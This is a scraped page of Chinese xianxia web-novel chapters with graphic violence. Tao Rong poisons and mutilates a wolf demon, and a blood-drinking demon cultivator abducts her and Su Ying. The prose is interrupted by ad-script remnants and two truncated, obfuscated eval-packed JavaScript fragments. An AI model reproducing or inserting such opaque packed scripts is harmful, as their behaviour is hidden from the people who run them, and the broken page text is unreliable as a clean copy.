唯独这一次,她让苏萤在给狼妖的茶水里下毒。 不算剧毒,而是烈性春.药。 用数十条淫.蛇软.蛋加上鼠妖芥子袋中搜刮来的各色妖毒调制研磨而成。 又接连几日让苏萤亲手在屋内点燃熏香,不假手于人。 狼妖再设防,也还是屁颠屁颠喝下苏萤递来的浓茶,陶醉嗅闻着和苏萤体香相似的香气,中了计。 陶蓉放走了刘腾,等他去仙门通风报信。 结果苦等数月都不见来。 靠别人都是虚的,她只能自己铤而走险。 “是你?” 垂死挣扎的病猫都惹不得,于受了伤还死不了的狼妖来说,更是强悍。 狼妖怒不可遏,衣袍还未整理,抬手便一掌对上陶蓉心口,将她扇飞出去。 女子后背撞上石墙,那块大石头轰然倒塌,直接将方才得意的陶蓉压死。 “该死的东西!不自量力。” 妖丹受了损伤,轻则损伤难以修补,重则致命。 他急忙打坐疗伤,压□□内焚火,奈何修为妖力随着妖丹的裂痕外泄流散。 鲜红浓.腥的妖血止不住地渗,狼妖忍着痛感,按住伤口处,大脑昏沉,人脸和狰狞狼头交替变化,竟被伤的难以维持人形。 “苏萤!” 他转眼就想通了前后因果,一回想苏萤和这个狡诈的凡人合起伙来,将下了药的茶递给他,眼睁睁看着他被骗,他就愤怒到极点! 他所作所为,哪里不是为了苏萤? 萤萤怎么能这样对他? 狼妖气得半死,环顾四周,抬手就灭了床脚处袅袅熏香。 “萤萤,你在哪?你是被凡人利用,才第一次使了坏心思,哥哥这次就原谅你,只要你出来道歉!” 狼妖不久前费劲丹药提升的妖婴期修为转眼跌至金丹中期。 他被袭击受了伤,还算其次,因他已经报仇雪恨,让陶蓉当场毙命。 石头还在滚滚下落,他精心打造的婚房,一处处坍塌,被这个凡人毁于一旦。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 任何厌恶陶蓉的人,无不有个念头:只恨自己没有早点杀了她这个祸害。 周朗失望的是,苏萤伤他。 他自知自己无论是作为兄长,还是丈夫,都比其他人强。 他如此小心翼翼呵护苏萤,结果她跟着那凡人不学好,胡作非为! 狼妖闭了闭眼,勉强维持的妖力,他起身,却不是为了及时闭关疗伤。 伤势可以慢慢治,但他咽不下这口气,带伤寻人。 “萤萤,哥哥生气了,你要承担犯错的后果。” 狼妖下了决定,要苏萤目睹陶蓉的尸体悔过反思,他还会把她关起来。 以后,就不让她出门了。 他不会再心软,由着她的心情,事事纵容她。 他日后,将日日夜夜加倍疼她,让她早日延绵子嗣,死心塌地留在他身边。 身后的石屋很快倒塌。 狼妖走了两步,正提起心神去感知苏萤的所在处,谁知一把匕首从身后捅向他。 这一次,刺入妖丹正中心,他不可置信低头,正好看见捅穿腹部的匕首剑尖。 血流如注,他抬脚躲避间,修为暴跌至最低阶的妖力。 甚至,狼头妖尾,脖颈上也化出厚重的狼毛。 “怎么可能?”狼妖喷出一口血来,死死盯着陶蓉:“你怎么没死?” 陶蓉胸口被打得凹陷,肋骨断了好几根,可心口的护心鳞,时刻吊着她的活气。 她捂住胸膛,全身麻木,阴森咧嘴,她刚刚听到了匕首插.入血肉的声响,也感受到了匕首尖端刺穿妖丹的实感。 据她所知,这样的妖,性命堪忧,岌岌可危。 局势倒转,眼下,谁还是被瞧不起的贱.种? “你轻敌了。” 黑衣少女吐掉口中的血水,翻转手中握着的匕首,一步步向狼妖走去。 * 苏萤和陶蓉出去采野果来着,结果聊着聊着,她就昏睡了过去。 她不知道睡了多久,只知许久没好好阖眼,睡时还是白昼,等醒来,她倚在树干下,夜已深了。 周围是漆黑的山林,和不知名的小虫叫唤。 “陶姐姐?” 少女揉揉眼,意识到自己不在山峰时,立即醒了神。 不是第一次了,若是她晚上又没有按时回屋,周朗会责怪陶蓉,小惩大诫。 苏萤瞥眉,她又不由自主想到陶蓉被折断的手腕。 她的心里很矛盾,她还是希望能回到以前那样和睦生活,可又不喜周朗的另一面。 她迫切的想寻找一个解决之法。 可她发现,她遇事只会慌急害怕,什么也不擅长,又愚蠢又无知。 * 狼妖伤得严重,绝地反击,扔了几个法宝出去。 獠牙贯穿她的身躯,将她的断刃弹飞,又把她已经毁容的脸划出三道血淋淋的伤口。 皮肉裂开,陶蓉察觉到自己半张脸的面皮被刮掉了。 她无甚在意笑了笑,几个会合后,少女咧嘴,死死拖住狼妖,不给他喘息逃跑和补充丹药的机会,笑得尤为阴森可怖。 结局已经注定。狼妖妖力耗尽,空有法器,却解决不了当前困境。 他败了。 继续扭打下去,无非是要耗死他。 狼妖心里一沉,万万想不到自己竟会命绝今夜,死在一个凡人之手。 “怪物!” 他狼嚎不绝,召集四面八方的狼族,想逃过一劫。 可他慢了一瞬,眨眼间,陶蓉五爪并拢,就已插.进他破了一个大窟窿的肚腹中。 那儿藏着妖丹,也是命门。 狠狠搅.动,陶蓉心满意足握住了一颗圆珠。 “不!” 结束了。 少女桀桀笑起来,半张缺了脸皮的血肉一扯动,又渗出血液来。 她握紧那颗妖丹,没有迅速了结,而是不紧不慢看着狼妖在痛苦中受死。 狼嘴张动两下,黑夜中,空洞洞看向天幕。 那儿悬挂着一轮皎洁月盘,还有数不清的星辰。 狼眼最后流露出一抹怀念之色,万种情感流逝,他难以挣扎,只道: “我被妖族唾弃,在仙门夹着尾巴做人,直到带你逃亡暂时躲在山中,我想把你献给妖王将功抵过。” “可萤火虫在你身边闪烁,你指着萤火虫,亮晶晶看着我,对我咧嘴笑,我就想把你藏起来。 所以我为你取名“萤”,我希望你如萤火虫一样闪亮有生命力,藏在这山里,做属于我的光。” “可惜……新婚之夜,我们还未……” 陶蓉不愿听他自我感动式胡说八道。 皱着眉,不想便宜了他,这一次,也选择先骟了狼的孽,畜,一脚踩爆。 “毒妇!” 周朗体会到了什么要做真正的生不如死。 无能为力看着自己引以为豪的物件被碾碎,他痉挛不止,到死也不服输的狼妖控制不住落泪。 “什么新婚之夜,你明明是连哄带骗。” 陶蓉不容他回神,在他疼得发抖时,熟练挖出了狼妖的妖丹。 圆滚滚的妖丹呈现金色,满是裂痕,混着黏腻血色,由她在手里把玩,随后纳入囊中。 少女志得意满。 她曾无数次觉得自己无能,事事不幸,老天也不眷顾她。 可如今,她就如蛰伏已久的幼蝉,不断生长,破土而出。 “陶姐姐?” 陶蓉笑得开怀至极,听到那道怀疑的嗓音后,她偏过头,对上了少女怔愣视线。 她收敛笑意,笑不出来了。 可恶的鼠妖,她明明嘱咐好,让他守在苏萤身边,千万要阻拦她上山的! 这下她对苏萤的好,都功亏一篑了! 少女手脚冰凉,她看向陶蓉满手的血,随意脖颈僵硬地去看地上被剥皮虐杀的巨型狼尸,血液倒流,浑浑噩噩。 苏萤看向狼妖一双由亮转为死气沉沉黯淡的兽眼,随后从不敢相信,到放声恸哭。 “…阿朗哥!” 35. 迷雾 天渐渐破晓,枯黄的草木上溅上血渍,少女将数十只了无生息的野狼丢在一堆,如一个隆起的小山包。 少女取了油脂点燃狼毛,很快,小火苗不断窜高,火光冲天,弥漫着刺鼻的臭气。 一切处理干净,少女蹲在溪边整理。 待洗净了身上的血污,流速缓慢的溪水也汇聚成血红色。 她哈了一口白气,看向冷薄的日出,“入冬了吧?” “嗯。” 身后站着一人,瘸腿断手,脸容皮包着骨,独眼,削瘦嶙峋。 他服用了许多疗伤丹药,待伤口结痂,才化人形。 锦雏:“你杀了狼妖,就不担心她恨你吗?” 陶蓉上前给了他一巴掌。 “你假惺惺在这装什么好人?” “昨夜我让你看紧苏萤,不要让她上山坏事,你怎么连人都没看住?” “你不会还自卑着吧?没见过你这么懦弱的妖。” 少年被扇得脸一偏,尤其是重点被扇的贱嘴,火辣辣的受辱,被教训过后,不吭声了。 陶蓉知道鼠妖心里想什么,有的是办法降服他。 * 苏萤昨夜情绪激动,陶蓉直接一手刀劈晕了过去。 将她带回山腰休息,杀完狼后,陶蓉已经想好了如何和她重归于好。 结果回屋后,床榻上的被子被掀开,人不见了。 “你高兴了吧?她真恨上我了!” 陶蓉瞪着身后亦步亦趋跟来的鼠妖。 “愣着干什么?还不去找?” 鼠妖敢怒不敢言。 苏萤从没出过山。 陶蓉试想过她会躲在山里哪个地方偷偷抹眼泪,谁料山里翻了个遍,都没找着人。 难不成,仙门人把苏萤带走了? 这很有可能。苏灵玉是掌门之女,苏萤身形要细瘦些,二人几乎长得一模一样,宛若双生。 陶蓉神色郁闷,她以身入局,袭杀狼妖,除去自己痛恨狼妖的缘故,亦是猜测苏萤的真实出身与仙门极大关联。 若真是如此,苏萤就是她翻身的福星了。 届时只要自己牢牢把握机会,得到另眼相待,说不定也能一步登天拜入仙门。 她现在只需要稳住局面,和苏萤缓和关系,等待时机让仙门弟子看见苏萤那张瞩目的脸就行了。 可那样怯懦无能的少女,竟然玩起了失踪。 身上的伤草草处理,脸上缠了几圈布,直至日头低垂,余晖浮现,陶蓉脸颊的血色侵透纱布,就算看不到她的脸,也能从她那双布满红血色的眼中,看到扭曲疯癫之色。 “狼妖的死是我一个人做的吗?你就没有参与吗!” “我最讨厌你这种人,摇摆不定,胆小怕事!我还不如留周朗一命,让你一辈子都做一只被他圈养的宠物鸟,稀里糊涂为他生儿育女,做他随意摆弄的物件,虚度一生!” 陶蓉在这山中耗费了这么多时间,在她看来,她做的事归根结底对谁都有利。 要不是仰仗着护心鳞护命,她早就死了。 可到头来得不到一个人的好,反倒当做驴肝肺,被怀恨在心! 想要的东西得不到,身边的朋友也留不住。 弄得伤痕累累,一团糟的人,还是她自己。 陶蓉想到过去种种,积压的巨石让她窒息,耳膜咕隆作响。 周围很吵,心烦气乱,表面上安然都是假的!她心里难以真正平静。 挥舞手中的木棍,怒目圆睁,鞭笞般抽打身边的枯木。 “去死!都别活了!埋在土里才最省心!” “你们都去死!” 鼠妖:“……” 他手中捡了一只鞋,远远站在一旁,古怪的看着陶蓉一个人歇斯底里对着草木发疯。 他这一生,倒了血霉,和这种疯女人绑在一块。 “你看什么?你偷偷摸摸在那儿幸灾乐祸笑我是吗?你也去死!” 陶蓉粗喘着气,凌厉指着站在一旁看好戏的鼠妖,注意到他手上的鞋上。 她天天伺候苏萤,一眼就看出来,那只鞋是谁的。 “这是我在山脚捡到的,我怀疑……”鼠妖声音细若蚊蚋:“她不想再见到我们,所以下山躲起来了。” * 又一个月过去。 锦雏跟着陶蓉漫步目的寻人。 他们离开了那座不值得留恋的青山,重新融入人间。 只是这一次,他成了端茶递水的奴才,那个女人是蛮横不通人性的主子。 “还是没有。” 他跟着这个疯婆子停停走走,相继去了附近不同村落和小镇寻人。 却始终不见苏萤踪迹。 “她空有一副容貌,又蠢又笨,肯定被歹人骗了。” 鼠妖摆放碗筷,听到她讲话就觉得可笑。 论机关算尽,心如蛇蝎的歹人,谁比的过这个疯女人? 虽然她杀了狼妖,不知何种缘由的确帮了苏萤,但还不是为了她自己。 自私自利,无情阴狠,鼠妖自愧不如。 他曾经和陶蓉是一种人,可他也算是恶有恶报,被陶蓉折磨地毫无尊严骨气,一无所有,成了个爬都爬不起来的废物。 能维持人样,得过起过,对他来说,已经算好的了。 回想那一段原形毕露被关押在漆黑匣子里的日子,他就发抖。 头顶一块石头就困死了他,他躲在匣子里,只有等到陶蓉想起他时,才会被投喂点水和她吃剩的果核。 并且,他像灵智未开的野兽一样,在盒子里如厕…… 他杀了许多人,如今这一切,或许都是他的报应! ……鼠妖退在一旁,低着头,余光暗暗瞥向坐在桌旁用饭的陶蓉。 所幸,他还能做件好事。 是他将苏萤藏起来。 他不愿再看到苏萤被人利用伤害的场面。 只要有他在,他会尽其所能不会让陶蓉找到苏萤。 他会让苏萤过自己想要的生活。 * 陶蓉足足找了苏萤三个月。 日子久了,她放弃了。 “也不是什么值得的人,不管是死了还是如何,都与我无关。” 陶蓉回到客栈,坐在床沿上,口中喃喃自语,不自觉开始念叨,“我尽力了,你自己要跑下山的,别怨我。” “主人,吃饭了。” 一瘸一拐的少年进屋,便看到这副景象。 在他眼里,陶蓉自从对他下手残害就有点不正常了,她这样时而疯癫自言自语、时而正常的模样,不足为奇。 不过,就如成功戏耍到猫头上的老鼠,锦雏微不可查抿起嘴角,心情难得不错。 “你笑什么?” 少年虎躯一震。 故作镇定,他抬眼,便见坐着的陶蓉起了身,凉飕飕的眼神毒蛇一般阴冷盯着他。 审视,狐疑,随后,她走到了他面前。 压低本就比一般女子喑哑些的嗓音,气势凌人:“说,你刚才在笑我什么?” 她不在意自己的容貌,白布缠着半张脸,走在路上随意让人用异样的眼光打量。 但是,她忌讳鼠妖取笑她。 “啪——” 不容鼠妖开口寻理由解释,陶蓉抬手就赏了他一个巴掌。 “好了伤疤忘了疼,你又记不清自己的身份了?还要我再提醒你吗?” 小人得势,你要她不记仇这是非常难的, 他清楚陶蓉为什么不杀他,偏要他为奴为仆。 她使唤他,大呼小叫,拳脚相向,加诸于他身上的苦痛,都是为了报复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,你放心,她打消了寻你的念头,明日就准备去东方访仙求道,日后不会再打搅你了。” 听了这话,少女睫羽微动,张了张唇,但脑海中又浮现出那夜她双手染血了解周朗的画面。 她想过,陶蓉为了帮她,应该会对周朗做些什么,但是……她竟然杀了他。 周朗本身如一座不可撼动大山。 苏萤觉得他不可能会死。 可她瞧见陶蓉剖离出周朗腹中闪着光芒的珠子,在他断气后,她笑得比任何时候都要真切,收入囊中。 少女嘴角初现苦笑,她隐隐约约想明白了,陶蓉本意原是借她的手杀人。 连着几夜,苏萤都听着窗外的动静。 夜风吹来时,门外的桂花叶子会沙沙作响。 她不敢正常呼吸,而是一瞬不瞬盯着穿.进屋内的叶形光影。 看着光影一颤一颤的浮动,她的心跳也跟着紧缩。 “阿朗哥,对不起,是我害了你。” 少女抗拒男人赤.身.裸.体的丑恶模样。 可周朗是她的亲人,称之为负罪感的情绪强烈徘徊在她心头。 她想,若是当时自己忍一忍,是否就不会铸成大错? “亲人可不会对养大的孩子发.情。” 她脑海中又不由自主想起了陶蓉嗤笑的话。 她随意一两句,就如至理名言,让苏萤全部记在心上。 可世上的人,果真如周朗所说,阴险狡诈,不可信任。 陶蓉对她的好,都是存心利用。 36. 魔修 锦雏要赶着回去了。 临走前,抬手一抹,暗调的屋内,幻化的萤火虫围着少女飞舞,像是打着一盏小灯笼似的,一闪一闪散发着幽绿光芒。 苏萤盯着那些萤光虫,移不开眼,当小灯笼停留在她指上时,露出了久违的笑容。 鼠妖松了一口气。 他没什么可拿得出手的,唯有用这个小把戏,逗逗她开心。 “萤萤,有缘再见吧。” 少女点点头,视线扫过少年残缺的手指和瘸了腿脚,没有过问。 他的伤是被周朗伤的?还是陶蓉做的?苏萤不想再去深究。 少女在院门口停了脚,目送锦雏的背影。 可眨眼睛,一团黑雾冲来,撞上锦雏的面门。 雾里闪出一个黑袍男,周身散发着滚滚魔气,一把扼住鼠妖的脖子。 但他的眼睛,却是钉在了苏萤小脸上。 掐着鼠妖,魔修闪身至苏萤面前。 一双因练邪功而凸起的大眼珠子几乎要贴在少女额头上。 魔修从黑雾中伸出锋利的长指甲,捏着少女仓皇的脸颊,有些怔愣的打量了许久。 “好好好!没想到人间破道观有这等绝色妙人儿!” “让我闻闻……” 苏萤皱眉,后退一步,双腿沉得很,瞧着眼前半个身体的男子于黑雾中凑近她。 像狗一样吸气狂闻,嗅过后两眼放光:“上上乘!从未嗅闻如此香纯的处.子之香!今夜不枉此行!捡到宝了!” “萤萤!” 锦雏悬浮在空中被扼住脖颈,魔修带着兽皮手套,骨节咔咔作响,直接掐得鼠妖喉咙溢出血来。 鼠妖一只眼就是在妖界被万恶的魔修弄瞎的。 回想起和同族被魔族赶尽杀绝的过往,他恨不得杀了他们。 可无论是幼年还是现在,他都毫无还手之力。 少年脖颈处的青筋暴起,双腿无力垂在空中。 “萤萤你快走,他是魔修。” 苏萤手心冒汗,迎上面前男子的视线,“施主,我们无冤无仇,也没做伤天害理之事,还请您放过我们。” “哈哈哈哈哈,小美人,我可是要吸干你的血。” 苏萤脸一白,只觉眼前人过于蛮横猖狂,义正言辞道:“不论你是谁,都不能做伤人性命之事,你若渴了,我们观里有甘甜的井水解渴,你快放开他。” 魔修杀人无数,还是头一次遇到这样的凡人。 他觉得眼前这少女纵使容貌出色,但脑子有点不正常。 “魔修,你知道她是谁吗?她可是妖婴期大能护着的人!” 七蛭骨碌碌转了眼珠,看向这个即将断气却死撑着的鼠妖,嘲弄不已。 “你们妖族就是任杀任打的丧家之犬,马上就被诛杀殆尽,要是有妖婴期的大能,怎么不早点现身?” 当着他的面,魔修抬手就弄晕了苏萤。 他本欲挖了鼠妖内丹当做小补品吃了,但看鼠妖人形模样不错,还是留了他一命。 老五脸上又长细纹,命他在几日内,赶紧捉三个小子回去滋补一顿。 这方圆百里,加上破道观里两个年轻点的道士,还差一人。 “正好拿你填窟窿。” 七蛭桀桀一笑,将鼠妖丢进装活人的乾坤袋中。 乾坤袋中一打开就一股腥臭味,等这次将抓来的三人带回去,他再好好给乾坤袋清理一番。 今夜,他捡到宝了。 魔修低头,再细细端详手无缚鸡之力的昏厥小美人,越看越得意。 像这种绝色,别说他了,老大想必也没见过。 把小美人献上去,若老大满意,换十个血包不成问题。 * 魔渊是人界游荡的魔族栖息之地,除了杀人放火,这几年,猎杀的妖族也近百了。 七蛭在魔渊论资排辈,排名第五。 手下倒是可以管一众小魔,但是因着魔渊老大和前四个魔修实力比他强,他还是难免要奉命出来猎食。 不消说,他是不舍得把这个干净柔美的少女丢进乾坤袋被污浊弄脏的。 他扛着人,踹开道观大门,便要化身离开。 眼前突然放出另一阵迷雾,不仅含有辛辣刺目的黄鼠狼毒气,眼前也被混合着白烟的古怪气体遮挡住,臭气对他口鼻眼目极为折磨,让他恨不得封闭五感,可正当他抬手挥袖之际,肩上倏地一松,刚捕获的小美人就这样被人抢去了。 七蛭笑了,他见过跪在脚下哀求吓破胆的,没见过这样一身刺胆的。 他自顾自说了一句怪哉,随后五指一抓,细长指甲捅穿血肉,逮住了坏他心情的小贼。 血腥味弥漫,臭气褪去,魔修舔了舔唇,他每每闻到血就会馋的走不动道。 在魔渊有上头约束,他能尽情把人吸成干尸,可不是常有的事。 如今,这不要命的血包送上门来,不吸白不吸。 男人凸起的眼睛闪过暗红之色,看准了被他逮住之人是个凡人之身,也不等她反应,魔影一掠,他的尖牙就一口咬断了对方的后颈。 “咔嚓”一声,他下嘴向来不会怜香惜玉,汩汩吸着新鲜血包,尖牙明显感觉到对方脖颈的锥弓。 对方松了手,手中抱着的苏萤倒在脚边,而她闷哼一声,手腕一翻,短刀迅雷不及掩耳之势刺向魔修的腹部。 魔和妖不同,魔丹在脑颅里,刺向腹部也只能算皮外伤。 可陶蓉不了解。 魔修叼住凡人的后颈,戴着特质手套的骨手挡住了凡人的刀子,下一瞬,陶蓉削铁如泥的宝刀四分五裂,砸落在地,成了稀碎的废铁。 陶蓉怔了怔,始料未及,她还没压下心中越阶刺杀狼妖的快意,转眼间就败于旁人之手。 眼前魔修,两眼凸起,皮肤惨白,一副痨病鬼病入膏肓之态。 她用毒瘴扰他神智,不正面迎敌,以为救走苏萤也有六成把握。 “好久没喝血了,如今终于可以吸个痛快!” 陶蓉听见的魔修“咕咚咕咚”大口吞咽她鲜血的动静。 指甲埋在她的后背里,就像长了密齿似得,刺痛麻痹感传来,他的长甲竟然也在疯狂吮吸她的血! 身体的血液急速流转,全然被魔修吸去。 陶蓉头皮发麻,没想到自己也会有自负的一天。 “大人,小人有宝物呈上。” 对七蛭来说,什么宝贝能比得上人血? 魔修充耳不闻,狼吞虎咽。 “大人,我能为您取来源源不绝的血,让您长久享用。” “…我认识很多人,也杀过很多人!” 说话的是个年轻的女子嗓音,气若游丝,几乎快要成为一具干尸,却不忘殷勤利诱。 魔修有了一分好奇,他见过的这种人不少,不过临到末了,皆是哭着等死。 七蛭翻过血包的正面来,谁料看到一脸裹着布的怪脸。 只露出一双细长眼睛来,像是狐 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若是她没死,那就养回了血,再吸一顿这凡人不经污染的处.子之血。 * 乾坤袋内有一方小天地,似个储存室,内有几具干尸,还有十来个凡人。 忽视这里的环境,男男女女,分成几拨缩在一起报团取暖。 锦雏那个贱仆正单膝跪在地上咳嗽。 陶蓉眼神阴狠,扫视一圈,随后拉过鼠妖的衣领,将他掼倒在地。 她已经讲不出话来,只是抿着发白的嘴唇,坐在少年身上扇他的巴掌。 她就算训他数次,可对于鼠妖来说,他赤手空拳也能作妖生事端,和你对着干。 等苏萤认了亲回了仙门,一切都能迎刃而解。 可鼠妖偏偏将她藏起来,隐瞒到底,要不是陶蓉这几日怀疑他,还被他蒙得死死的。 今日,她有意说明日启程离开的话,还让他去买糕点,就是为了引蛇出洞。 果不其然,趁她打坐悟道之际,鼠妖带着私下多准备的糕点出门了。 她一路跟着,暗中窥看锦雏变戏法似的给苏萤变出闪亮亮的萤火虫来。 她心中就在想,等带苏萤回去,索性把这贱妖的腿脚全打断好了。 魔修出现,陶蓉以为自己可以一试,原是她自恃过高。 “别打了,不要再打了。” “快停手。” 乾坤袋中的几个男的出声阻止,不是真在意别人死活,而是怕陶蓉闹出的动静太大,引得魔人发怒。 陶蓉一身的血,全部重量压在少年身上,清脆的巴掌声,打得锦雏鼻青脸肿。 少年又装死不吭声了,因他引出的祸端,也生了悔意,闭着眼睛,默默受了。 可他挨几巴掌,完全不能抵消他导致的过错。 “都…是你。” 陶蓉气急败坏,本想拜仙,如今却要陪着他们一块进魔窟。 好事成了狗屎,身上的伤还没好,她又负了伤,她心里窝火,却无法尽情发泄,直将她气得喷出一口血来。 这殷红的血喷在少年脸上,他恍惚睁眼,便见方才气势逼.人的疯婆子一瞬卸了力气,软绵绵倒在他身上。 “……”锦雏面容一扭,像是被什么鬼东西贴上,身形僵硬,两指捏着去拉开她:“你醒醒。” “她不会是死了吧?” 周围的女子忍不住惊呼:“她好像……成干尸了。” 37. 取血 陶蓉存活下来后,脑中又想到了那个小孩。 不容她有所触动。 她便和一众被掳来的男女脖颈扣上锁链,蹲在阴冷潮湿的泥地上。 抬头,她正在崖底,两侧蜿蜒的脊背向天顶延伸,不见天日,只隐约可见一条细细的白缝。 这就是魔修们的老巢,藏在幽暗的深渊缝隙里,任谁也不会找到。 周围陆陆续续围上许多黑袍魔修。 犹如被拣选一般,他们受着那些魔修邪肆的上下打量。 “既然二哥不选,那小妹就不客气了。” 一个衣衫不整的美艳女子看了一眼身后肌底黝黑没个动静的魔修。 她妩媚走上前来,勾住两个身材健壮的年轻男人颈链,将他们带进了一处的魔洞。 “两位兄弟,和小女子快活去吧。” 陶蓉看了一眼那黑黢黢魔洞,隐约猜到美艳魔女要对这两个男人做什么。 想到也被送进魔女洞府的鼠妖,不由得幸灾乐祸。 “走吧。” 视线被黑色袍服遮挡住,是那个吸她血的凸眼魔人。 他拉住陶蓉的颈链,嫌她脚步太慢,走两步扯一下,一个用力,扯得陶蓉仰面摔在潮湿冰凉的地面上。 “起来。” 数九寒天,数百丈深的山崖下连阳光都投.射不进,冷得人簌簌发抖,凸眼魔人斜着眼不带温度的看她。 陶蓉心里没有任何想法。 不知何时,她已然能坦然接受旁人的冷待。 忽视这点痛感,她撑着手肘爬起来跟上。 脂粉香四溢开来,陶蓉偏头,与迎面走来的女子擦肩而过。 女子身材丰盈,浓妆艳抹,穿着露肩裙裳,走起路来扭着腰腚,指甲涂了粉色丹蔻,翘起兰花指,很是引人注目。 “把这个狐媚子给关起来,不准让她勾引主上!” 她瞧着成熟韵致,一张口,音色稚嫩青涩似少女,语调上扬显得急躁。 “属下遵命。” 她身后跟随着一个相貌平平的魔修,听命于她,反绞着一个披头散发的少女双手,走向另一处魔窟。 “陶姐姐……” 被押解的少女正是苏萤。 苏萤头上的发帽早已掉落,身上还穿着不像样的道士服。 她双手被冷面魔修反绞得生疼,小脸短短一日冻得发红,蹙起眉头,眼含泪花的看向陶蓉。 她身上倒没个锁链束缚,当眼神触及到陶蓉脖颈上的锁链和她前方的凸眼魔修时,她呼吸一紧。 “你怎么也在这儿?这里很危险。” 随后,她想起心里还怨着陶蓉,咬了咬唇,别扭得很。 陶蓉不理会她,只一路目送她被押往的方位。 是一处幽暗的魔窟。 魔窟外沿,堆满了死人的白骨,骨头被一脚踏碎,风一吹,白色粉末到处飞。 魔窟内深不见五指,如吞噬人的深渊巨口,暗藏危机。 门外的两个守卫接手被押送的苏萤,哈巴狗似的点头。 “快走。” 陶蓉被嗜血魔修推搡两下后,漠然收回眼。 活该。 一昧躲着她,自讨苦吃了吧! * 七蛭的洞府。 男魔坐在染着暗红血渍的石头上,扯过颈链顺势一把掐住她的脖子。 “没有人被我吸过还能活命,你是怎么撑到现在的?” 对上魔修的红眼珠,陶蓉像一只被握着长颈的鹭,有随时被杀的风险。 她脸上却缺乏旁人所有的畏惧。 “野草即便在恶劣的环境都能长势喜人,人也如此。” 陶蓉道:“何况我一心想要追随您,不会轻易咽气。” 七蛭阿谀奉承的话听过不少,对这话没什么反应。 看向她皱巴巴被吸食过的身体,颈上的窟窿眼已经结了血痂。 他“砸吧砸吧”无处下嘴,视线下移,寻了一处看得过眼的皮肉,二话不说埋头来啃。 这一次,他的利齿扎入她的肩膀,表情凶狠,只是仅吸了两口,就将她丢在地上。 “呸!” 魔修吐了一嘴没有香气的血沫,袖子抹嘴。 她的血几乎被他吸干,剩余一点稀薄寡淡的血水! “还以为你血量比别人多呢,也不过如此。” 魔修坚硬的长甲在石上敲了敲,“说吧,你还有什么本事,如何帮我取来新鲜血液?” “两日够了吧?我时间宝贵,两日之内,你要活命,就证明你的存在价值。” 魔修一念之间,足以决定她的生死。 陶蓉习以为常,虚软地点点头:“大人说话算话。” * 陶蓉躺在魔洞一角,失血昏迷,意识不清,昏睡至翌日下午,才恢复了一些精神。 “还有两个时辰天就黑了,你若是只想拖延时间多活一日,我不介意一条条剥下你的皮,让你付出双倍痛苦赴死。” 魔修踢她的小腿,陶蓉不急,他却等不及了,叫嚣着难听的话,恨不得赶紧杀了她了事。 周遭陌生的新环境需要她再花费一段时间适应,其余与以前所遭受的变故也没什么不同。 既来之则杀之。 陶蓉睁开眼,看向头顶黑压压的洞顶,慢慢起身。 她晃了晃身子,睡了这么久,总算恢复点力气,意志清明,脑袋不沉了。 “大人,我需要利刃和呈血的容器。” 她回头看了一眼魔修,对方一愣,笑地十分夸张。 他吸了这么多年的血,从来都是把猎物拎到嘴下吸食,哪有什么容器。 “我可警告你,没有容器和刀,我也不会帮你做任何事,等你出了我的洞府,就是落单的小绵羊,一个不小心,就死在其他魔修手上。” 他抱着臂,悠哉悠哉坐下来。 “去吧,两个时辰后,我给你收尸。” 陶蓉表情不变,扶墙往外走,边走边拉开衣襟。 头顶百丈高的白光缝隙,渐渐黯淡。 她会趁着太阳落山前成功取血。 谁都能死,她绝对不会死。 陶蓉露出半个肩膀来,脖颈和肩膀上的牙印很明显。 周围三三两两的魔修路过,气氛为之一变,众魔修虎视眈眈。 虽然都看不上这个外貌怪异的凡人,不过魔族中人喜好虐.杀。 有活生生的一个玩物站在眼前,有不少魔修意动。 果真,在陶蓉走向幽静处关押着人奴的魔窟时,三个魔修邪笑一声,魔气暗流涌动,狩猎般紧跟在陶蓉身后。 “啪”的一声。 目睹陶蓉哐哐扇了魔窟外两个黑袍守卫各一巴掌。 “哪来不长眼的东西?还敢拦我?” 陶蓉趾高气昂:“大人说了,要我给他取新鲜的人血来。” “什么大人?你一个凡人,竟然对本魔动手?” 守门的小喽啰头上的黑袍帽檐皆被扇落。 露出和人没什么区别的普通五官,二人互相对视一眼,先是不明情况,随后表情狰狞,魔气涌出,抽出腰上的魔刀,恨不得当场就要宰了陶蓉。 “啪啪——” 陶蓉半步未退,使出全身力气,又反方向掌掴二人另一边脸。 “这里还有哪个大人?你们竟然敢对大人不敬!不想活了吗?” 少女眼神冷了下来,象征性指了指自己身上的牙印:“他可是说了,我是唯一一个他特意留在身边的女人,他不忍心我死,所以吩咐我来取别人的血,你们还没听懂?” 陶蓉手掌还没落,悬在空中,就等着门卫一句反驳,巴掌就抽下去。 “……有这种事?” 门卫甲缩了缩脖子:“我们魔渊,嗜血的就只有七蛭大人。” 他歪头看向门卫乙,半信半疑:“不过……七蛭大人只嗜血,从来不睡女人啊…” 门卫乙同样狐疑看向陶蓉颈侧、肩上裸露的血口,他是个有眼力见的,这种血口的确是七蛭那嗜血魔修留下的痕迹。 嗜血魔修但凡对凡人下手,无一幸免,活不过二回。 眼前这被吸食过的凡人女子,不仅活得好好的,力气还颇大。 “还磨磨蹭蹭干什么?七蛭大人还饿着呢,还不放行?” 少女说话颇有几分盛气凌人的气势,和魔渊里主上身边那娇蛮的妾室同一个路数。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只等到她被男魔选中带离后,才看到第三个魔修上前挑人。 不仅人、妖,魔族中人也要按强弱有序行事。 而这个凸眼男魔,实力或许不算强,比不得那美艳魔女,但在小魔小怪面前,还是有一定震慑力的。 没过半桶血,凸眼的嗜血魔修就箭步冲到面前,掐住了陶蓉的脖子。 脚尖离地,遭到致命挤压,陶蓉不慌不忙,露出一口满是血沫的牙。 